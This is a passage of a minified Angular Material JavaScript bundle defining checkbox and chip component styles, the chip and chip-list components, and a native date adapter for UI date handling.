.mat-checkbox-inner-container{order:1;margin-left:8px;margin-right:auto}[dir=rtl] .mat-checkbox-label-before .mat-checkbox-inner-container{margin-left:auto;margin-right:8px}.mat-checkbox-checked .mat-checkbox-checkmark{opacity:1}.mat-checkbox-checked .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-checked .mat-checkbox-mixedmark{transform:scaleX(1) rotate(-45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark{opacity:0;transform:rotate(45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-indeterminate .mat-checkbox-mixedmark{opacity:1;transform:scaleX(1) rotate(0deg)}.mat-checkbox-unchecked .mat-checkbox-background{background-color:rgba(0,0,0,0)}.mat-checkbox-disabled{cursor:default}.cdk-high-contrast-active .mat-checkbox-disabled{opacity:.5}.mat-checkbox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0ms mat-checkbox-unchecked-checked-checkmark-path}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-unchecked-indeterminate-mixedmark}.mat-checkbox-anim-checked-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-checked-unchecked .mat-checkbox-checkmark-path{animation:90ms linear 0ms mat-checkbox-checked-unchecked-checkmark-path}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-checkmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-checkmark}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-mixedmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-checkmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-checkmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-mixedmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-mixedmark}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:300ms linear 0ms mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}.mat-checkbox-input:focus~.mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),q})(),se=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({imports:[c.si,c.BQ,f.Q8,se,c.BQ,se]}),q})()},7331:(At,ae,d)=>{"use strict";d.d(ae,{HS:()=>ce,Hi:()=>bt,qn:()=>Ye});var n=d(9521),a=d(4650),s=d(3238),u=d(1281),c=d(3353),f=d(6895),E=d(8929),_=d(6787),S=d(2986),g=d(7625),C=d(1059),z=d(2687),H=d(445),j=d(5017),U=d(4006),G=d(9549);const Q=["*"],Ce=new a.OlP("MatChipRemove"),k=new a.OlP("MatChipAvatar"),K=new a.OlP("MatChipTrailingIcon");class se{constructor(De){this._elementRef=De}}const ee=(0,s.sb)((0,s.pj)((0,s.Kr)(se),"primary"),-1);let ce=(()=>{class ze extends ee{constructor(re,ve,We,xt,Be,pe,P,w){super(re),this._ngZone=ve,this._changeDetectorRef=Be,this._hasFocus=!1,this.chipListSelectable=!0,this._chipListMultiple=!1,this._chipListDisabled=!1,this.role="option",this._selected=!1,this._selectable=!0,this._disabled=!1,this._removable=!0,this._onFocus=new E.xQ,this._onBlur=new E.xQ,this.selectionChange=new a.vpe,this.destroyed=new a.vpe,this.removed=new a.vpe,this._addHostClassName(),this._chipRippleTarget=pe.createElement("div"),this._chipRippleTarget.classList.add("mat-chip-ripple"),this._elementRef.nativeElement.appendChild(this._chipRippleTarget),this._chipRipple=new s.IR(this,ve,this._chipRippleTarget,We),this._chipRipple.setupTriggerEvents(re),this.rippleConfig=xt||{},this._animationsDisabled="NoopAnimations"===P,this.tabIndex=null!=w&&parseInt(w)||-1}get rippleDisabled(){return this.disabled||this.disableRipple||this._animationsDisabled||!!this.rippleConfig.disabled}get selected(){return this._selected}set selected(re){const ve=(0,u.Ig)(re);ve!==this._selected&&(this._selected=ve,this._dispatchSelectionChange())}get value(){return void 0!==this._value?this._value:this._elementRef.nativeElement.textContent}set value(re){this._value=re}get selectable(){return this._selectable&&this.chipListSelectable}set selectable(re){this._selectable=(0,u.Ig)(re)}get disabled(){return this._chipListDisabled||this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re)}get removable(){return this._removable}set removable(re){this._removable=(0,u.Ig)(re)}get ariaSelected(){return this.selectable&&(this._chipListMultiple||this.selected)?this.selected.toString():null}_addHostClassName(){const re="mat-basic-chip",ve=this._elementRef.nativeElement;ve.hasAttribute(re)||ve.tagName.toLowerCase()===re?ve.classList.add(re):ve.classList.add("mat-standard-chip")}ngOnDestroy(){this.destroyed.emit({chip:this}),this._chipRipple._removeTriggerEvents()}select(){this._selected||(this._selected=!0,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}deselect(){this._selected&&(this._selected=!1,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}selectViaInteraction(){this._selected||(this._selected=!0,this._dispatchSelectionChange(!0),this._changeDetectorRef.markForCheck())}toggleSelected(re=!1){return this._selected=!this.selected,this._dispatchSelectionChange(re),this._changeDetectorRef.markForCheck(),this.selected}focus(){this._hasFocus||(this._elementRef.nativeElement.focus(),this._onFocus.next({chip:this})),this._hasFocus=!0}remove(){this.removable&&this.removed.emit({chip:this})}_handleClick(re){this.disabled&&re.preventDefault()}_handleKeydown(re){if(!this.disabled)switch(re.keyCode){case n.yY:case n.ZH:this.remove(),re.preventDefault();break;case n.L_:this.selectable&&this.toggleSelected(!0),re.preventDefault()}}_blur(){this._ngZone.onStable.pipe((0,S.q)(1)).subscribe(()=>{this._ngZone.run(()=>{this._hasFocus=!1,this._onBlur.next({chip:this})})})}_dispatchSelectionChange(re=!1){this.selectionChange.emit({source:this,isUserInput:re,selected:this._selected})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.R0b),a.Y36(c.t4),a.Y36(s.Y2,8),a.Y36(a.sBO),a.Y36(f.K0),a.Y36(a.QbO,8),a.$8M("tabindex"))},ze.\\u0275dir=a.lG2({type:ze,selectors:[["mat-basic-chip"],["","mat-basic-chip",""],["mat-chip"],["","mat-chip",""]],contentQueries:function(re,ve,We){if(1&re&&(a.Suo(We,k,5),a.Suo(We,K,5),a.Suo(We,Ce,5)),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.avatar=xt.first),a.iGM(xt=a.CRH())&&(ve.trailingIcon=xt.first),a.iGM(xt=a.CRH())&&(ve.removeIcon=xt.first)}},hostAttrs:[1,"mat-chip","mat-focus-indicator"],hostVars:15,hostBindings:function(re,ve){1&re&&a.NdJ("click",function(xt){return ve._handleClick(xt)})("keydown",function(xt){return ve._handleKeydown(xt)})("focus",function(){return ve.focus()})("blur",function(){return ve._blur()}),2&re&&(a.uIk("tabindex",ve.disabled?null:ve.tabIndex)("role",ve.role)("disabled",ve.disabled||null)("aria-disabled",ve.disabled.toString())("aria-selected",ve.ariaSelected),a.ekj("mat-chip-selected",ve.selected)("mat-chip-with-avatar",ve.avatar)("mat-chip-with-trailing-icon",ve.trailingIcon||ve.removeIcon)("mat-chip-disabled",ve.disabled)("_mat-animation-noopable",ve._animationsDisabled))},inputs:{color:"color",disableRipple:"disableRipple",tabIndex:"tabIndex",role:"role",selected:"selected",value:"value",selectable:"selectable",disabled:"disabled",removable:"removable"},outputs:{selectionChange:"selectionChange",destroyed:"destroyed",removed:"removed"},exportAs:["matChip"],features:[a.qOj]}),ze})();const Ze=new a.OlP("mat-chips-default-options"),le=(0,s.FD)(class{constructor(ze,De,re,ve){this._defaultErrorStateMatcher=ze,this._parentForm=De,this._parentFormGroup=re,this.ngControl=ve,this.stateChanges=new E.xQ}});let Oe=0;class Qe{constructor(De,re){this.source=De,this.value=re}}let Ye=(()=>{class ze extends le{constructor(re,ve,We,xt,Be,pe,P){super(pe,xt,Be,P),this._elementRef=re,this._changeDetectorRef=ve,this._dir=We,this.controlType="mat-chip-list",this._lastDestroyedChipIndex=null,this._destroyed=new E.xQ,this._uid="mat-chip-list-"+Oe++,this._tabIndex=0,this._userTabIndex=null,this._onTouched=()=>{},this._onChange=()=>{},this._multiple=!1,this._compareWith=(w,R)=>w===R,this._disabled=!1,this.ariaOrientation="horizontal",this._selectable=!0,this.change=new a.vpe,this.valueChange=new a.vpe,this.ngControl&&(this.ngControl.valueAccessor=this)}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get role(){return this._explicitRole?this._explicitRole:this.empty?null:"listbox"}set role(re){this._explicitRole=re}get multiple(){return this._multiple}set multiple(re){this._multiple=(0,u.Ig)(re),this._syncChipsState()}get compareWith(){return this._compareWith}set compareWith(re){this._compareWith=re,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(re){this.writeValue(re),this._value=re}get id(){return this._chipInput?this._chipInput.id:this._uid}get required(){return this._required??this.ngControl?.control?.hasValidator(U.kI.required)??!1}set required(re){this._required=(0,u.Ig)(re),this.stateChanges.next()}get placeholder(){return this._chipInput?this._chipInput.placeholder:this._placeholder}set placeholder(re){this._placeholder=re,this.stateChanges.next()}get focused(){return this._chipInput&&this._chipInput.focused||this._hasFocusedChip()}get empty(){return(!this._chipInput||this._chipInput.empty)&&(!this.chips||0===this.chips.length)}get shouldLabelFloat(){return!this.empty||this.focused}get disabled(){return this.ngControl?!!this.ngControl.disabled:this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re),this._syncChipsState()}get selectable(){return this._selectable}set selectable(re){this._selectable=(0,u.Ig)(re),this._syncChipsState()}set tabIndex(re){this._userTabIndex=re,this._tabIndex=re}get chipSelectionChanges(){return(0,_.T)(...this.chips.map(re=>re.selectionChange))}get chipFocusChanges(){return(0,_.T)(...this.chips.map(re=>re._onFocus))}get chipBlurChanges(){return(0,_.T)(...this.chips.map(re=>re._onBlur))}get chipRemoveChanges(){return(0,_.T)(...this.chips.map(re=>re.destroyed))}ngAfterContentInit(){this._keyManager=new z.Em(this.chips).withWrap().withVerticalOrientation().withHomeAndEnd().withHorizontalOrientation(this._dir?this._dir.value:"ltr"),this._dir&&this._dir.change.pipe((0,g.R)(this._destroyed)).subscribe(re=>this._keyManager.withHorizontalOrientation(re)),this._keyManager.tabOut.pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._allowFocusEscape()}),this.chips.changes.pipe((0,C.O)(null),(0,g.R)(this._destroyed)).subscribe(()=>{(this.disabled||!this.selectable)&&Promise.resolve().then(()=>{this._syncChipsState()}),this._resetChips(),this._initializeSelection(),this._updateTabIndex(),this._updateFocusForDestroyedChips(),this.stateChanges.next()})}ngOnInit(){this._selectionModel=new j.Ov(this.multiple,void 0,!1),this.stateChanges.next()}ngDoCheck(){this.ngControl&&(this.updateErrorState(),this.ngControl.disabled!==this._disabled&&(this.disabled=!!this.ngControl.disabled))}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this.stateChanges.complete(),this._dropSubscriptions()}registerInput(re){this._chipInput=re,this._elementRef.nativeElement.setAttribute("data-mat-chip-input",re.id)}setDescribedByIds(re){re.length?this._elementRef.nativeElement.setAttribute("aria-describedby",re.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}writeValue(re){this.chips&&this._setSelectionByValue(re,!1)}registerOnChange(re){this._onChange=re}registerOnTouched(re){this._onTouched=re}setDisabledState(re){this.disabled=re,this.stateChanges.next()}onContainerClick(re){this._originatesFromChip(re)||this.focus()}focus(re){this.disabled||this._chipInput&&this._chipInput.focused||(this.chips.length>0?(this._keyManager.setFirstItemActive(),this.stateChanges.next()):(this._focusInput(re),this.stateChanges.next()))}_focusInput(re){this._chipInput&&this._chipInput.focus(re)}_keydown(re){const ve=re.target;ve&&ve.classList.contains("mat-chip")&&(this._keyManager.onKeydown(re),this.stateChanges.next())}_updateTabIndex(){this._tabIndex=this._userTabIndex||(0===this.chips.length?-1:0)}_updateFocusForDestroyedChips(){if(null!=this._lastDestroyedChipIndex)if(this.chips.length){const re=Math.min(this._lastDestroyedChipIndex,this.chips.length-1);this._keyManager.setActiveItem(re)}else this.focus();this._lastDestroyedChipIndex=null}_isValidIndex(re){return re>=0&&re<this.chips.length}_setSelectionByValue(re,ve=!0){if(this._clearSelection(),this.chips.forEach(We=>We.deselect()),Array.isArray(re))re.forEach(We=>this._selectValue(We,ve)),this._sortValues();else{const We=this._selectValue(re,ve);We&&ve&&this._keyManager.setActiveItem(We)}}_selectValue(re,ve=!0){const We=this.chips.find(xt=>null!=xt.value&&this._compareWith(xt.value,re));return We&&(ve?We.selectViaInteraction():We.select(),this._selectionModel.select(We)),We}_initializeSelection(){Promise.resolve().then(()=>{(this.ngControl||this._value)&&(this._setSelectionByValue(this.ngControl?this.ngControl.value:this._value,!1),this.stateChanges.next())})}_clearSelection(re){this._selectionModel.clear(),this.chips.forEach(ve=>{ve!==re&&ve.deselect()}),this.stateChanges.next()}_sortValues(){this._multiple&&(this._selectionModel.clear(),this.chips.forEach(re=>{re.selected&&this._selectionModel.select(re)}),this.stateChanges.next())}_propagateChanges(re){let ve=null;ve=Array.isArray(this.selected)?this.selected.map(We=>We.value):this.selected?this.selected.value:re,this._value=ve,this.change.emit(new Qe(this,ve)),this.valueChange.emit(ve),this._onChange(ve),this._changeDetectorRef.markForCheck()}_blur(){this._hasFocusedChip()||this._keyManager.setActiveItem(-1),this.disabled||(this._chipInput?setTimeout(()=>{this.focused||this._markAsTouched()}):this._markAsTouched())}_markAsTouched(){this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next()}_allowFocusEscape(){-1!==this._tabIndex&&(this._tabIndex=-1,setTimeout(()=>{this._tabIndex=this._userTabIndex||0,this._changeDetectorRef.markForCheck()}))}_resetChips(){this._dropSubscriptions(),this._listenToChipsFocus(),this._listenToChipsSelection(),this._listenToChipsRemoved()}_dropSubscriptions(){this._chipFocusSubscription&&(this._chipFocusSubscription.unsubscribe(),this._chipFocusSubscription=null),this._chipBlurSubscription&&(this._chipBlurSubscription.unsubscribe(),this._chipBlurSubscription=null),this._chipSelectionSubscription&&(this._chipSelectionSubscription.unsubscribe(),this._chipSelectionSubscription=null),this._chipRemoveSubscription&&(this._chipRemoveSubscription.unsubscribe(),this._chipRemoveSubscription=null)}_listenToChipsSelection(){this._chipSelectionSubscription=this.chipSelectionChanges.subscribe(re=>{re.source.selected?this._selectionModel.select(re.source):this._selectionModel.deselect(re.source),this.multiple||this.chips.forEach(ve=>{!this._selectionModel.isSelected(ve)&&ve.selected&&ve.deselect()}),re.isUserInput&&this._propagateChanges()})}_listenToChipsFocus(){this._chipFocusSubscription=this.chipFocusChanges.subscribe(re=>{let ve=this.chips.toArray().indexOf(re.chip);this._isValidIndex(ve)&&this._keyManager.updateActiveItem(ve),this.stateChanges.next()}),this._chipBlurSubscription=this.chipBlurChanges.subscribe(()=>{this._blur(),this.stateChanges.next()})}_listenToChipsRemoved(){this._chipRemoveSubscription=this.chipRemoveChanges.subscribe(re=>{const ve=re.chip,We=this.chips.toArray().indexOf(re.chip);this._isValidIndex(We)&&ve._hasFocus&&(this._lastDestroyedChipIndex=We)})}_originatesFromChip(re){let ve=re.target;for(;ve&&ve!==this._elementRef.nativeElement;){if(ve.classList.contains("mat-chip"))return!0;ve=ve.parentElement}return!1}_hasFocusedChip(){return this.chips&&this.chips.some(re=>re._hasFocus)}_syncChipsState(){this.chips&&this.chips.forEach(re=>{re._chipListDisabled=this._disabled,re._chipListMultiple=this.multiple,re.chipListSelectable=this._selectable})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(H.Is,8),a.Y36(U.F,8),a.Y36(U.sg,8),a.Y36(s.rD),a.Y36(U.a5,10))},ze.\\u0275cmp=a.Xpm({type:ze,selectors:[["mat-chip-list"]],contentQueries:function(re,ve,We){if(1&re&&a.Suo(We,ce,5),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.chips=xt)}},hostAttrs:[1,"mat-chip-list"],hostVars:14,hostBindings:function(re,ve){1&re&&a.NdJ("focus",function(){return ve.focus()})("blur",function(){return ve._blur()})("keydown",function(xt){return ve._keydown(xt)}),2&re&&(a.Ikx("id",ve._uid),a.uIk("tabindex",ve.disabled?null:ve._tabIndex)("aria-required",ve.role?ve.required:null)("aria-disabled",ve.disabled.toString())("aria-invalid",ve.errorState)("aria-multiselectable",ve.multiple)("role",ve.role)("aria-orientation",ve.ariaOrientation),a.ekj("mat-chip-list-disabled",ve.disabled)("mat-chip-list-invalid",ve.errorState)("mat-chip-list-required",ve.required))},inputs:{role:"role",userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],errorStateMatcher:"errorStateMatcher",multiple:"multiple",compareWith:"compareWith",value:"value",required:"required",placeholder:"placeholder",disabled:"disabled",ariaOrientation:["aria-orientation","ariaOrientation"],selectable:"selectable",tabIndex:"tabIndex"},outputs:{change:"change",valueChange:"valueChange"},exportAs:["matChipList"],features:[a._Bn([{provide:G.Eo,useExisting:ze}]),a.qOj],ngContentSelectors:Q,decls:2,vars:0,consts:[[1,"mat-chip-list-wrapper"]],template:function(re,ve){1&re&&(a.F$t(),a.TgZ(0,"div",0),a.Hsn(1),a.qZA())},styles:[\'.mat-chip{position:relative;box-sizing:border-box;-webkit-tap-highlight-color:rgba(0,0,0,0);border:none;-webkit-appearance:none;-moz-appearance:none}.mat-chip::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-standard-chip{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:inline-flex;padding:7px 12px;border-radius:16px;align-items:center;cursor:default;min-height:32px;height:1px}.mat-standard-chip._mat-animation-noopable{transition:none !important;animation:none !important}.mat-standard-chip .mat-chip-remove{border:none;-webkit-appearance:none;-moz-appearance:none;padding:0;background:none}.mat-standard-chip .mat-chip-remove.mat-icon,.mat-standard-chip .mat-chip-remove .mat-icon{width:18px;height:18px;font-size:18px}.mat-standard-chip::after{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:inherit;opacity:0;content:"";pointer-events:none;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-standard-chip:hover::after{opacity:.12}.mat-standard-chip:focus{outline:none}.mat-standard-chip:focus::after{opacity:.16}.cdk-high-contrast-active .mat-standard-chip{outline:solid 1px}.cdk-high-contrast-active .mat-standard-chip.mat-chip-selected{outline-width:3px}.mat-standard-chip.mat-chip-disabled::after{opacity:0}.mat-standard-chip.mat-chip-disabled .mat-chip-remove,.mat-standard-chip.mat-chip-disabled .mat-chip-trailing-icon{cursor:default}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar,.mat-standard-chip.mat-chip-with-avatar{padding-top:0;padding-bottom:0}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-right:8px;padding-left:0}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-left:8px;padding-right:0}.mat-standard-chip.mat-chip-with-trailing-icon{padding-top:7px;padding-bottom:7px;padding-right:8px;padding-left:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon{padding-left:8px;padding-right:12px}.mat-standard-chip.mat-chip-with-avatar{padding-left:0;padding-right:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-avatar{padding-right:0;padding-left:12px}.mat-standard-chip .mat-chip-avatar{width:24px;height:24px;margin-right:8px;margin-left:4px}[dir=rtl] .mat-standard-chip .mat-chip-avatar{margin-left:8px;margin-right:4px}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{width:18px;height:18px;cursor:pointer}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{margin-left:8px;margin-right:0}[dir=rtl] .mat-standard-chip .mat-chip-remove,[dir=rtl] .mat-standard-chip .mat-chip-trailing-icon{margin-right:8px;margin-left:0}.mat-chip-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit;overflow:hidden;transform:translateZ(0)}.mat-chip-list-wrapper{display:flex;flex-direction:row;flex-wrap:wrap;align-items:center;margin:-4px}.mat-chip-list-wrapper input.mat-input-element,.mat-chip-list-wrapper .mat-standard-chip{margin:4px}.mat-chip-list-stacked .mat-chip-list-wrapper{flex-direction:column;align-items:flex-start}.mat-chip-list-stacked .mat-chip-list-wrapper .mat-standard-chip{width:100%}.mat-chip-avatar{border-radius:50%;justify-content:center;align-items:center;display:flex;overflow:hidden;object-fit:cover}input.mat-chip-input{width:150px;margin:4px;flex:1 0 150px}\'],encapsulation:2,changeDetection:0}),ze})(),bt=(()=>{class ze{}return ze.\\u0275fac=function(re){return new(re||ze)},ze.\\u0275mod=a.oAB({type:ze}),ze.\\u0275inj=a.cJS({providers:[s.rD,{provide:Ze,useValue:{separatorKeyCodes:[n.K5]}}],imports:[s.BQ]}),ze})()},3238:(At,ae,d)=>{"use strict";d.d(ae,{_A:()=>Ke,rD:()=>Be,sG:()=>dt,K7:()=>Vt,HF:()=>ie,Y2:()=>te,BQ:()=>se,X2:()=>pe,uc:()=>R,XK:()=>We,ey:()=>It,Ng:()=>Fe,rN:()=>u1,nP:()=>b,us:()=>B,wG:()=>x,si:()=>m,IR:()=>Pt,CB:()=>_t,jH:()=>kt,pj:()=>je,Kr:()=>Ze,Id:()=>ce,FD:()=>Oe,dB:()=>Qe,sb:()=>le,E0:()=>P});var n=d(4650),a=d(2687),s=d(445),c=d(6895),f=d(3353),E=d(1281),_=d(6498),S=d(8929),g=d(1059),C=d(9521);function j(be,Pe){if(1&be&&n._UZ(0,"mat-pseudo-checkbox",4),2&be){const Re=n.oxw();n.Q6J("state",Re.selected?"checked":"unchecked")("disabled",Re.disabled)}}function U(be,Pe){if(1&be&&(n.TgZ(0,"span",5),n._uU(1),n.qZA()),2&be){const Re=n.oxw();n.xp6(1),n.hij("(",Re.group.label,")")}}const G=["*"],K=new n.OlP("mat-sanity-checks",{providedIn:"root",factory:function k(){return!0}});let se=(()=>{class be{constructor(Re,Ue,xe){this._sanityChecks=Ue,this._document=xe,this._hasDoneGlobalChecks=!1,Re._applyBodyHighContrastModeCssClasses(),this._hasDoneGlobalChecks||(this._hasDoneGlobalChecks=!0)}_checkIsEnabled(Re){return!(0,f.Oy)()&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[Re])}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(a.qm),n.LFG(K,8),n.LFG(c.K0))},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[s.vT,s.vT]}),be})();function ce(be){return class extends be{constructor(...Pe){super(...Pe),this._disabled=!1}get disabled(){return this._disabled}set disabled(Pe){this._disabled=(0,E.Ig)(Pe)}}}function je(be,Pe){return class extends be{constructor(...Re){super(...Re),this.defaultColor=Pe,this.color=Pe}get color(){return this._color}set color(Re){const Ue=Re||this.defaultColor;Ue!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove(`mat-${this._color}`),Ue&&this._elementRef.nativeElement.classList.add(`mat-${Ue}`),this._color=Ue)}}}function Ze(be){return class extends be{constructor(...Pe){super(...Pe),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(Pe){this._disableRipple=(0,E.Ig)(Pe)}}}function le(be,Pe=0){return class extends be{constructor(...Re){super(...Re),this._tabIndex=Pe,this.defaultTabIndex=Pe}get tabIndex(){return this.disabled?-1:this._tabIndex}set tabIndex(Re){this._tabIndex=null!=Re?(0,E.su)(Re):this.defaultTabIndex}}}function Oe(be){return class extends be{constructor(...Pe){super(...Pe),this.errorState=!1}updateErrorState(){const Pe=this.errorState,J=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);J!==Pe&&(this.errorState=J,this.stateChanges.next())}}}function Qe(be){return class extends be{constructor(...Pe){super(...Pe),this._isInitialized=!1,this._pendingSubscribers=[],this.initialized=new _.y(Re=>{this._isInitialized?this._notifySubscriber(Re):this._pendingSubscribers.push(Re)})}_markInitialized(){this._isInitialized=!0,this._pendingSubscribers.forEach(this._notifySubscriber),this._pendingSubscribers=null}_notifySubscriber(Pe){Pe.next(),Pe.complete()}}}const Ye=new n.OlP("MAT_DATE_LOCALE",{providedIn:"root",factory:function qe(){return(0,n.f3M)(n.soG)}});class Ke{constructor(){this._localeChanges=new S.xQ,this.localeChanges=this._localeChanges}getValidDateOrNull(Pe){return this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:null}deserialize(Pe){return null==Pe||this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:this.invalid()}setLocale(Pe){this.locale=Pe,this._localeChanges.next()}compareDate(Pe,Re){return this.getYear(Pe)-this.getYear(Re)||this.getMonth(Pe)-this.getMonth(Re)||this.getDate(Pe)-this.getDate(Re)}sameDate(Pe,Re){if(Pe&&Re){let Ue=this.isValid(Pe),xe=this.isValid(Re);return Ue&&xe?!this.compareDate(Pe,Re):Ue==xe}return Pe==Re}clampDate(Pe,Re,Ue){return Re&&this.compareDate(Pe,Re)<0?Re:Ue&&this.compareDate(Pe,Ue)>0?Ue:Pe}}const dt=new n.OlP("mat-date-formats"),bt=/^\\d{4}-\\d{2}-\\d{2}(?:T\\d{2}:\\d{2}:\\d{2}(?:\\.\\d+)?(?:Z|(?:(?:\\+|-)\\d{2}:\\d{2}))?)?$/;function ze(be,Pe){const Re=Array(be);for(let Ue=0;Ue<be;Ue++)Re[Ue]=Pe(Ue);return Re}let De=(()=>{class be extends Ke{constructor(Re,Ue){super(),this.useUtcForDisplay=!1,super.setLocale(Re)}getYear(Re){return Re.getFullYear()}getMonth(Re){return Re.getMonth()}getDate(Re){return Re.getDate()}getDayOfWeek(Re){return Re.getDay()}getMonthNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{month:Re,timeZone:"utc"});return ze(12,xe=>this._format(Ue,new Date(2017,xe,1)))}getDateNames(){const Re=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return ze(31,Ue=>this._format(Re,new Date(2017,0,Ue+1)))}getDayOfWeekNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{weekday:Re,timeZone:"utc"});return ze(7,xe=>this._format(Ue,new Date(2017,0,xe+1)))}getYearName(Re){const Ue=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._format(Ue,Re)}getFirstDayOfWeek(){return 0}getNumDaysInMonth(Re){return this.getDate(this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+1,0))}clone(Re){return new Date(Re.getTime())}createDate(Re,Ue,xe){let J=this._createDateWithOverflow(Re,Ue,xe);return J.getMonth(),J}today(){return new Date}parse(Re,Ue){return"number"==typeof Re?new Date(Re):Re?new Date(Date.parse(Re)):null}format(Re,Ue){if(!this.isValid(Re))throw Error("NativeDateAdapter: Cannot format invalid date.");const xe=new Intl.DateTimeFormat(this.locale,{...Ue,timeZone:"utc"});return this._format(xe,Re)}addCalendarYears(Re,Ue){return this.addCalendarMonths(Re,12*Ue)}addCalendarMonths(Re,Ue){let xe=this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+Ue,this.getDate(Re));return this.getMonth(xe)!=((this.getMonth(Re)+Ue)%12+12)%12&&(xe=this._createDateWithOverflow(this.getYear(xe),this.getMonth(xe),0)),xe}addCalendarDays(Re,Ue){return this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re),this.getDate(Re)+Ue)}toIso8601(Re){return[Re.getUTCFullYear(),this._2digit(Re.getUTCMonth()+1),this._2digit(Re.getUTCDate())].join("-")}deserialize(Re){if("string"==typeof Re){if(!Re)return null;if(bt.test(Re)){let Ue=new Date(Re);if(this.isValid(Ue))return Ue}}return super.deserialize(Re)}isDateInstance(Re){return Re instanceof Date}isValid(Re){return!isNaN(Re.getTime())}invalid(){return new Date(NaN)}_createDateWithOverflow(Re,Ue,xe){const J=new Date;return J.setFullYear(Re,Ue,xe),J.setHours(0,0,0,0),J}_2digit(Re){return("00"+Re).slice(-2)}_format(Re,Ue){const xe=new Date;return xe.setUTCFullYear(Ue.getFullYear(),Ue.getMonth(),Ue.getDate()),xe.setUTCHours(Ue.getHours(),Ue.getMinutes(),Ue.getSeconds(),Ue.getMilliseconds()),Re.format(xe)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(Ye,8),n.LFG(f.t4))},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac}),be})();const re={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}};let ve=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:Ke,useClass:De}]}),be})(),We=(()=>{class be{}return be.\\u0275fac=function(Re){return 